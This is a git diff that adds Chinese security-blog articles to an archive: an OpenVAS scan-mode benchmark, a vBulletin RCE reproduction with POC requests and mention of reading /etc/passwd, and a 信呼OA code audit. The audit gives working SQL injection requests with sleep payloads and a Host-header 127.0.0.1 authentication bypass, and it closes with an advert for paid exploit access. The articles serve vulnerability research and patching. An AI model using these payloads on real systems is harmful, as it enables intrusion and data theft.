diff --git a/data.json b/data.json
index 0d2a750b..ad0750be 100644
--- a/data.json
+++ b/data.json
@@ -14917,5 +14917,9 @@
"https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247485975&idx=2&sn=dbe57e94f20bc9b3f98b334b6267cffc": "CVE-2025-48827｜vBulletin远程代码执行漏洞（POC）",
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247519442&idx=1&sn=c589daacc1be8e90294d6c18e509d2fb": "赚取50000美元的5个顶级 XSS PoC",
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651322725&idx=2&sn=a6d9bad6730f5365d0a54cf5c19b22bf": "6.11北京 | 报名FORCE原动力大会-大模型安全分会场 文末有福利",
- "https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247491495&idx=1&sn=28a749aa101664e76dd905dfc0081fe3": "网络安全人士必知的 AWVS 漏洞扫描工具"
+ "https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247491495&idx=1&sn=28a749aa101664e76dd905dfc0081fe3": "网络安全人士必知的 AWVS 漏洞扫描工具",
+ "https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860720&idx=1&sn=700c43def3115706dbdf14b9634c3176": "16核CPU烧到100%！21节点六种漏洞扫描模式实测，这种模式让服务器暴走",
+ "https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247488992&idx=3&sn=240dba489c13a8cf1abd16a7f09aa981": "JS中的漏洞信息",
+ "https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503392&idx=1&sn=5292f042bdea8bb3d2fd6e87cb7a2ca2": "【成功复现】vBulletin远程代码执行漏洞(CVE-2025-48827&CVE-2025-48828)",
+ "https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247491410&idx=1&sn=e4ef9713ca498412d72fd9536077c06b": "【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入"
}
\ No newline at end of file
diff --git a/doc/2025-06/16核CPU烧到100%！21节点六种漏洞扫描模式实测，这种模式让服务器暴走.md b/doc/2025-06/16核CPU烧到100%！21节点六种漏洞扫描模式实测，这种模式让服务器暴走.md
new file mode 100644
index 00000000..8ac78115
--- /dev/null
+++ b/doc/2025-06/16核CPU烧到100%！21节点六种漏洞扫描模式实测，这种模式让服务器暴走.md
@@ -0,0 +1,176 @@
+# 16核CPU烧到100%！21节点六种漏洞扫描模式实测，这种模式让服务器暴走
+原创 衡水铁头哥 铁军哥 2025-06-07 23:47
+
+通过前面几次介绍，我们对GVM/OpenVAS的部署方式已经有了大致的了解。综合来看，在Kali系统中部署的方式可以算是最简单快捷的
+（[两条命令搞定！Kali原生集成GVM漏洞扫描器，比Docker省5GB空间](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860668&idx=1&sn=197d36812e146c81964457d9a5c735c1&scene=21#wechat_redirect)
+
+），而且磁盘占用和部署耗时比Docker方式都要少
+（[6年旧镜像翻车！手把手教你用Docker部署最新版企业级漏洞扫描工具OpenVAS](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860633&idx=1&sn=5b6cc0f21b97d658225bc4e366ee3398&scene=21#wechat_redirect)
+
+）。
+
+我们在前面的扫描过程中也发现，可能是样本少的原因，GVM的资源识别准确率只有80 %。为了做进一步的确认，我从VMware ESXi的109台虚拟机中挑选了15台虚拟机，来做进一步的扫描测试。
+
+
+
+从网关设备MSR810上来看，有20个ARP表项，加上网关自己，一共有21个IP资产。
+
+
+
+按照设备类型来区分，有11个是网络设备，剩下的10个是操作系统，IP资产统计信息如下表所示：
+
+
+
+在开始任务任务之前，我们首先要检查服务状态，如果未设置服务器开机自动运行，需要通过命令gvm-start手动启动GVM服务。
+
+
+
+除此之外，我们还要等待系统完成摘要更新，即Status显示为【Current】，否则也会报错。
+
+
+
+接下来，我们就可以执行扫描任务了。我们现在已知Base基础扫描是最快的，Full and Fast全面快速扫描是最慢的，Discovery网络发现、Host Discovery主机发现和System Discovery系统发现为三种不同的资产扫描方式。那我们就先用Host Discovery扫描一下。
+
+在【Scans】下的【Tasks】页面，我们点击左上角的魔法棒选择【Advanced Task Wizard】，扫描配置选择【Host Discovery】，填入192.168.0.0/23网段，开始扫描任务。
+
+
+
+这个扫描比Base快多了，只用了几秒就完成资产扫描，发现主机数量为20个，少了一个。
+
+
+
+但是，应该是仅使用ICMP探测的缘故，所有结果都是空的，资产里面也没有统计信息，我们也就不知道少的这个到底是哪个了。
+
+
+
+那我们再次执行【Advanced Task Wizard】任务，扫描配置选择【System Discovery】，还是扫描192.168.0.0/23网段，开始扫描任务。
+
+
+
+这次扫描慢了很多，整体耗时21分钟，发现主机数量同样为20个，还是少了一个。从报告中看，缺少的是Windows Server 2019这台服务器。
+
+
+
+然后，我们再次执行【Advanced Task Wizard】任务，扫描配置选择【Discovery】，还是扫描192.168.0.0/23网段，开始扫描任务。
+
+
+
+它竟然自动执行了两次任务，两次都是耗时28分钟，第一次扫描到了20台主机；而在最后一次扫描任务中，成功扫描到了21台主机。
+
+
+
+此时，我们再次查看主机资产，这里显示就有21个主机了，跟实际情况是相符的。
+
+
+
+识别成功的操作系统信息如下：
+
+
+
+从系统识别情况来看，只有小米路由器和Windows Server 2019没有识别成功。
+
+资产这里，还能查看主机拓扑，他竟然把宿主机放在了中心节点，应该是因为都在一个二层网络中的原因。
+
+
+
+接下来，我们再次执行【Advanced Task Wizard】任务，扫描配置选择【Base】，还是扫描192.168.0.0/23网段，开始扫描任务。
+
+
+
+用时10分钟，扫描到20台主机。上次扫描也是10分钟，难道Base模式的速度跟识别到的主机数量没有关系？
+
+接下来，我们关闭Windows Server 2019的防火墙，再次执行【Advanced Task Wizard】任务，扫描配置选择【Full and fast】，还是扫描192.168.0.0/23网段，开始扫描任务。
+
+
+
+扫描耗时1小时35分钟，扫描到21台主机，危险漏洞扫描到了105个，比上次扫描多了33分钟，应该是跟主机数量有关系了。
+
+在资源占用上，可以看出Kali版本比Docker版本不知道高出多少倍去了。我们为虚拟机分配了16核CPU资源，在扫描时openvas扫描器用到启动了超过30个进程，不知道的还以为我充钱了。
+
+
+
+可以，系统一共才16个核心，负载达到38.62这个有点说不过去啊。
+
+
+
+查看ESXi主机状态，CPU利用率达到了恐怖的100 %，要不是还开了15台虚拟机，估计Kali负载奔着48就去了。
+
+
+
+查看服务器电源功率，平均功率都超过360瓦了，两颗CPU满负载运行，这个Kali有点东西。
+
+
+
+风扇转的嗷嗷的，温度马上就要压不住了，只差3度服务器就得挂死！
+
+
+
+最后，因为Empty空模板无预置规则，需要手动添加NVT测试项，我们再执行一下仅针对Log4j漏洞的Log4Shell专项检测。
+
+
+
+扫描耗时25分钟，扫描了21台主机，未扫描到危险漏洞。
+
+到这里，我们就得到了除Empty自定义模式之外的6种扫描模式的数据对比，如下所示：
+
+
+
+系统记录的报告数据如下所示：
+
+
+
+如此看来，如果我们要是创建一个自定义扫描配置，加载上162066条NVT、296543条CVE、1420489条CPE、23602条CERT-Bund公告和37909条DFN-CERT公告，这个任务还真不知道得跑上几天才能跑完了。
+
+
+**推荐阅读***
+
+[在Windows强跑Docker，8GB内存都喂不饱漏洞扫描神器？](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860603&idx=1&sn=3f138383a35ce7cfbe9c538da4af941e&scene=21#wechat_redirect)
+
+
+[腾讯应用宝征服Windows！2025年Windows安装安卓App重大变革，5分钟搞定小红书/王者荣耀](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860691&idx=1&sn=7718183c0955ce7d519084ee93686d01&scene=21#wechat_redirect)
+
+
+[两条命令搞定！Kali原生集成GVM漏洞扫描器，比Docker省5GB空间](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860668&idx=1&sn=197d36812e146c81964457d9a5c735c1&scene=21#wechat_redirect)
+
+
+[Windows消失、路由器变种？Greenbone社区版多模式扫描实战，这些坑别再踩](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860654&idx=1&sn=66263e79839a3587eeb55fbc6bff8012&scene=21#wechat_redirect)
+
+
+[6年旧镜像翻车！手把手教你用Docker部署最新版企业级漏洞扫描工具OpenVAS](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860633&idx=1&sn=5b6cc0f21b97d658225bc4e366ee3398&scene=21#wechat_redirect)
+
+
+[告别ADB！用DHCP选项让手机自动添加静态路由](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860514&idx=1&sn=c127b47f41e0d02b9dab6806ad72c4ad&scene=21#wechat_redirect)
+
+
+[Windows也能玩转Docker！手把手教你部署Redroid云手机](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860580&idx=1&sn=c038284c0081dbfa540f2196c2be6f76&scene=21#wechat_redirect)
+
+
+[高性能游戏云手机革命！GPU加速让Redroid性能追平小米15](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860530&idx=1&sn=4f8d8d70812910fcbd0b06ab0c67c6d7&scene=21#wechat_redirect)
+
+
+[插上U盘自动装系统？一文掌握Ubuntu服务器版自动安装镜像制作](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860448&idx=1&sn=d833cc7414ffcec71297ae6bdbbea30b&scene=21#wechat_redirect)
+
+
+[连WiFi就能切IP！揭秘企业级路由器多VPN出口黑科技！](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860446&idx=1&sn=d148fbab56322f0bba7718cd01f7a718&scene=21#wechat_redirect)
+
+
+[云手机全球落地实战：用策略路由实现Docker容器网络自由切换](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860475&idx=1&sn=72dfa0a56b4933983a556344dbea9013&scene=21#wechat_redirect)
+
+
+[VMware Edge 620神操作：刷入iStoreOS秒变全能企业级网关，轻松玩转多SSID](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860498&idx=1&sn=a7d5a9717e9955aacd23df1d90c0e709&scene=21#wechat_redirect)
+
+
+[从CentOS到Ubuntu：零成本迁移L2TP VPN，企业级内网穿透实战！](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860373&idx=1&sn=585ad234cc85b93a8c7352c1d13099f4&scene=21#wechat_redirect)
+
+
+[WireGuard太复杂？十分钟教你用Netmaker一键搞定全球组网](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860200&idx=1&sn=02207649d81cd9a38e595c792d616a81&scene=21#wechat_redirect)
+
+
+[云手机技术揭秘！低成本实现1台电脑变百部"虚拟手机"实战](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860286&idx=1&sn=a2051493387a022382f18716b2eeba5f&scene=21#wechat_redirect)
+
+
+[iWAN隧道实测：一次握手跑满2.3Gbps，白嫖的SD-WAN真能吊打专线？](https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860028&idx=1&sn=e019aed0fb43e4971fc62c058da849b2&scene=21#wechat_redirect)
+
+
+
+
diff --git a/doc/2025-06/JS中的漏洞信息.md b/doc/2025-06/JS中的漏洞信息.md
index 4150f068..b9102ed2 100644
--- a/doc/2025-06/JS中的漏洞信息.md
+++ b/doc/2025-06/JS中的漏洞信息.md
@@ -1,5 +1,5 @@
# JS中的漏洞信息
- 富贵安全 2025-06-07 00:05
+ 富贵安全 2025-06-08 01:01
# 声明
diff --git a/doc/2025-06/【成功复现】vBulletin远程代码执行漏洞(CVE-2025-48827&CVE-2025-48828).md b/doc/2025-06/【成功复现】vBulletin远程代码执行漏洞(CVE-2025-48827&CVE-2025-48828).md
new file mode 100644
index 00000000..588aa929
--- /dev/null
+++ b/doc/2025-06/【成功复现】vBulletin远程代码执行漏洞(CVE-2025-48827&CVE-2025-48828).md
@@ -0,0 +1,161 @@
+# 【成功复现】vBulletin远程代码执行漏洞(CVE-2025-48827&CVE-2025-48828)
+原创 弥天安全实验室 弥天安全实验室 2025-06-08 00:01
+
+#
+
+网安引领时代，弥天点亮未来
+
+
+
+
+
+
+
+
+
+
+
+**0x00写在前面**
+
+**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！**
+
+
+
+
+**0x01漏洞介绍**
+
+
+
+
+Internet Brands vBulletin是Internet Brands公司的一个论坛插件。
+vBulletin是一款功能强大的开源论坛软件，它支持多种数据库，如MySQL、PostgreSQL等。它提供了灵活的权限管理系统，让管理员可以精细控制不同用户组和用户的访问权限和功能使用，适用于各种规模的在线社区。
+
+Internet Brands vBulletin 5.0.0至5.7.5版本和6.0.0至6.0.3版本存在安全漏洞，该漏洞源于未经身份验证的用户可能调用受保护的API控制器方法。
+
+
+
+
+
+**0x02影响版本**
+
+5.0.0 <= vBulletin < 5.7.6
+
+5.1.0<=vBulletin<=6.0.3
+
+6.0.0 <= vBulletin < 6.0.4
+
+
+CVE-2025-48827
+
+
+
+CVE-2025-48828
+
+
+
+
+
+
+
+**0x03漏洞复现**
+
+
+1.访问漏洞环境
+
+
+
+2.对漏洞进行复现
+
+
+**POC**
+
+漏洞复现
+
+请求1
+```
+POST /ajax/api/ad/replaceAdTemplate HTTP/1.1
+Host: 127.0.0.1
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 123
+
+routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=htchn&template=
+```
+
+ 请求2
+```
+POST / HTTP/1.1
+Host: 127.0.0.1
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 123
+
+routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=htchn&template=
+```
+
+ 通过php代码执行cat /etc/passwd，查看响应判断漏洞存在
+
+
+
+
+ 通过php代码执行id，查看响应判断漏洞存在
+
+
+
+
+
+
+3.Yakit插件
+测试
+
+
+
+
+
+
+
+**0x04修复建议**
+
+
+目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
+
+通过访问vBulletin的AJAX API并尝试调用受保护的方法来验证漏洞，或检查版本是否在受影响范围内。
+
+建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！
+```
+https://www.vbulletin.com/download.php
+https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
+```
+
+
+
+弥天简介
+
+学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
+
+口号 网安引领时代，弥天点亮未来
+
+
+
+
+
+
+
+
+知识分享完了
+
+喜欢别忘了关注我们哦~
+
+学海浩茫，
+
+予以风动，
+
+必降弥天之润！
+
+
+ 弥 天
+
+安全实验室
+
+
+
+
+
diff --git a/doc/2025-06/【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入.md b/doc/2025-06/【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入.md
new file mode 100644
index 00000000..cf17dd50
--- /dev/null
+++ b/doc/2025-06/【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入.md
@@ -0,0 +1,368 @@
+# 【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入
+CrayonXiaoxin 神农Sec 2025-06-08 01:01
+
+扫码加圈子
+
+获内部资料
+
+
+
+
+
+
+
+#
+
+网络安全领域各种资源，EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章，以及工具分享、前沿信息分享、POC、EXP分享。
+不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（知识星球优惠卷）。
+#
+
+文章作者：
+CrayonXiaoxin
+
+文章来源：https://xz.aliyun.com/news/18185
+
+
+
+**信呼OA v2.6.7 SQL注入漏洞**
+
+
+
+## 系统介绍
+
+```
+信呼，免费开源的办公OA系统，包括APP，pc上客户端，REIM即时通信，服务端等，让每个企业单位都有自己的办公系统。
+```
+
+官网：
+http://www.rockoa.com
+
+
+路由分析
+
+
+抓一个登录请求包分析
+
+
+
+
+
+其中a是方法 m是目录 如果有多层目录则 d是最外层目录 m由 文件名|目录 组成
+
+## 漏洞点一 （存在 ip限制）
+
+### 源码分析
+
+
+在文件中分析代码找到webmain/task/openapi/opendkqAction.php的
+
+addkqjs方法 调用了insert方法
+
+```
+private function addkqjs($sn) { $uarr = array( 'pinpai'=> '1', 'num'=> $sn, 'name'=> $sn, 'comid' => '1', 'optdt' => $this->now ); $uarr['id'] = m('kqjsn')->insert($uarr); return $uarr; }
+```
+
+一步步跟进去查看insert方法 确认传入的值被带入到sql语句中执行了sql
+
+```
+public function insert($arr) { $nid = 0; if($this->record($arr, ''))$nid = $this->db->insert_id(); return $nid; } // include/class/mysql.phppublic function record($arr, $where='') { return $this->db->record($this->table, $arr, $where); }public function record($table,$array,$where='') { $addbool = true; if(!$this->isempt($where))$addbool=false; $cont = ''; if(is_array($array)){ foreach($array as $key=>$val){ $cont.=",`$key`=".$this->toaddval($val).""; } $cont = substr($cont,1); }else{ $cont = $array; } $table = $this->gettables($table); if($addbool){ $sql="insert into $table set $cont"; }else{ $where = $this->getwhere($where); $sql="update $table set $cont where $where"; } return $this->tranbegin($sql); }private function tranbegin($sql) { //if($this->errorbool)return false; if($this->conn == null)$this->connect(); $this->iudcount++; if(!$this->tran){ //$this->starttran(); //$this->tran=true; } $rsa = $this->query($sql); $this->iudarr[]=$rsa; if(!$rsa)$this->errorbool = true; return $rsa; }
+```
+
+接下来就往上看哪里调用addkqjs方法传值 $sn 在同文件内 找到了senddata 调用了这个方法
+
+```
+private function senddata($type) { $str = $this->postdata; if(isempt($str))$this->showreturn('', 'not data', 201); $arr = json_decode($str, true); $oi = 0;$uarr = array();$finarr = array(); $dtobj = c('date');$adb = m('admin');$db = m('kqdkjl');$uobj = m('userinfo'); $updt = ''; $cheobj = c('check'); $snarr = array(); if($type==9){ $snarr = $this->db->getarr('[Q]kqjsn','`pinpai`=1','`id`,`name`','num'); } $datype = array('密码','指纹','刷卡'); if(is_array($arr))foreach($arr as $k=>$rs){ $name = isset($rs['name']) ? $rs['name'] : ''; $dkdt = isset($rs['dkdt']) ? $rs['dkdt'] : ''; $finge= isset($rs['finge']) ? $rs['finge'] : ''; $name = str_replace("'",'', $name); $uid = 0; $snid = 0; $sntype = 1; $comid = 0; $explain = ''; if($type==9){ $sn = arrvalue($rs, 'sn'); if(!$sn)continue; $snrs = arrvalue($snarr, $sn); if(!$snrs){ $snrs = $this->addkqjs($sn); $snarr[$sn] = $snrs; }
+```
+
+继续分析代码$sn 由arrvalue方法取自传入的第一参数的 一个key为sn的valen值
+
+```
+$sn = arrvalue($rs, 'sn'); function arrvalue($arr, $k, $dev='') { $val = $dev; if(isset($arr[$k]))$val= $arr[$k]; return $val; }
+```
+
+继续分析代码 得知想要执行到这里 需要$type 等于9
+
+且 $rs 来自于 $arr 的value 然后 $arr 又来自于 json解码后的 $str $str来自于 传入的post请求体 是可控的
+
+
+最后查找调用 senddata 被 同文件下的 zktimeAction 调用 同时也传入了9 满足上面的 $type =9
+
+```
+public function zktimeAction() { //9中控 $carr = $this->senddata(9); echo $carr['updt']; }
+```
+
+继续看代码发现 这个类的父类中存在一个鉴权 但是分析代码可知 Host 是127.0.0.1 或 192.168.x.x 的范围就可以绕过验证 。
+
+```
+public function initAction() { $this->display= false; $openkey = $this->post('openkey'); $this->openkey = getconfig('openkey'); if($this->keycheck && HOST != '127.0.0.1' && !contain(HOST,'192.168') && $this->openkey != ''){ if($openkey != md5($this->openkey))$this->showreturn('', 'openkey not access', 201); } $this->getpostdata(); }
+```
+
+按照路由构造请求url
+
+
+/index.php?m=opendkq|openapi&d=task&a=zktime
+
+
+按照sn的取值 构造两层json
+
+
+{"cn":{"sn":"123"}}
+
+
+host 为127.0.0.1
+
+### 漏洞利用
+
+#### poc
+
+```
+POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848Connection: closeContent-Length: 34Content-Type: application/x-www-form-urlencoded{"cn":{"sn":"123' and sleep(3)#"}}
+```
+
+
+
+
+
+
+#### sqlmap
+
+
+sqlmap 结合burp 修改host
+
+```
+POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848Connection: closeContent-Length: 34Content-Type: application/x-www-form-urlencoded{"cn":{"sn":"123'*"}}
+```
+
+
+
+
+
+## 漏洞点二 （存在 ip限制）
+
+### 源码分析
+
+
+webmain/task/openapi/openbaseAction.php
+
+
+
+
+
+看getpostarr()方法可以分析出 传入的post值需要为json格式
+
+
+
+
+
+继续分析下面的代码传入的参数basemodenum 赋值给了 $modenum baseoptid参数 赋值给了 $adminid 但是经过了过滤 无法传入单引号等内容
+
+
+在21行代码中调用getuserid方法对 $adminid 参数进行了查询 并且在22行代码可以得知 需要让21行的查询获得数据 不然会直接报错终止
+
+
+根据查看sql语句可以得知 查询的内容在admin表中 分析可知 最简单方法的就是传入一个1 即可
+
+
+
+
+
+继续分析代码 查看querydata方法获得了三个参数做了什么操作 看代码发现 在方法中将传入的 $modenum 也就是 $num 传入了initflow方法中
+
+
+
+
+
+
+
+
+继续跟进initflow方法 发现又被传入了initdata 方法中
+
+
+
+
+
+在这里 $num 的值被添加到了sql的一个条件语句中被执行 其中无任何限制 这样我们就可以开始构造poc 进行利用
+
+
+
+
+### 漏洞利用
+
+#### poc
+
+```
+POST /index.php?m=openbase%7Copenapi&d=task&a=querydata HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 58Cookie: {"baseoptid":"1","basemodenum":"a123456' OR SLEEP(0.01)#"}
+```
+
+
+
+
+
+
+
+
+**内部小圈子详情介绍**
+
+
+
+我们是
+神农安全
+，点赞 + 在看
+ 铁铁们点起来，最后祝大家都能心想事成、发大财、行大运。
+
+
+
+
+
+
+
+**内部圈子介绍**
+
+
+
+
+
+
+**圈子专注于更新src/红蓝攻防相关：**
+
+```
+1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例
+2、知识星球专属微信“小圈子交流群”
+3、微信小群一起挖洞
+4、内部团队专属EDUSRC证书站漏洞报告
+5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防）
+6、分享src挖掘技巧tips
+7、不定期有众测、渗透测试项目（一起挣钱）
+8、不定期有工作招聘内推（工作/护网内推）
+9、送全国职业技能大赛环境+WP解析（比赛拿奖）
+```
+
+
+
+
+**内部圈子**
+**专栏介绍**
+
+知识星球内部共享资料截屏详情如下
+
+（只要没有特殊情况，每天都保持更新）
+
+
+
+
+
+
+**知识星球——**
+**神农安全**
+
+星球现价
+￥45元
+
+如果你觉得应该加入，就不要犹豫，价格只会上涨，不会下跌
+
+星球人数少于800人 45元/年
+
+星球人数少于1000人 60元/年
+
+（新人优惠卷20，扫码或者私信我即可领取）
+
+
+
+欢迎加入星球一起交流，券后价仅45元！！！ 即将满800人涨价
+
+长期
+更新，更多的0day/1day漏洞POC/EXP
+
+
+
+**内部知识库--**
+**（持续更新中）**
+
+
+
+
+**知识库部分大纲目录如下：**
+
+知识库跟
+知识星球联动，基本上每天保持
+更新，满足圈友的需求
+
+
+
+
+知识库和知识星球有师傅们关注的
+EDUSRC
+和
+CNVD相关内容（内部资料）
+
+
+
+
+还有网上流出来的各种
+SRC/CTF等课程视频
+
+量大管饱，扫描下面的知识星球二维码加入即可
+
+
+
+
+
+不会挖CNVD？不会挖EDURC？不会挖企业SRC？不会打nday和通杀漏洞？
+
+直接加入我们小圈子：
+知识星球+内部圈子交流群+知识库
+
+快来吧！！
+
+
+
+
+
+
+神农安全知识库内部配置很多
+内部工具和资料💾，
+玄机靶场邀请码+EDUSRC邀请码等等
+
+
+
+
+快要护网来临，是不是需要
+护网面试题汇总
+？
+问题+答案（超级详细🔎）
+
+
+
+
+最后，师傅们也是希望找个
+好工作，那么常见的
+渗透测试/安服工程师/驻场面试题目，你值得拥有！！！
+
+
+
+
+内部小圈子——
+圈友反馈
+（
+良心价格
+）
+
+
+
+
+
+
+****
+**神农安全公开交流群**
+
+有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群）
+
+
+
+
+```
+```
+
+
+
+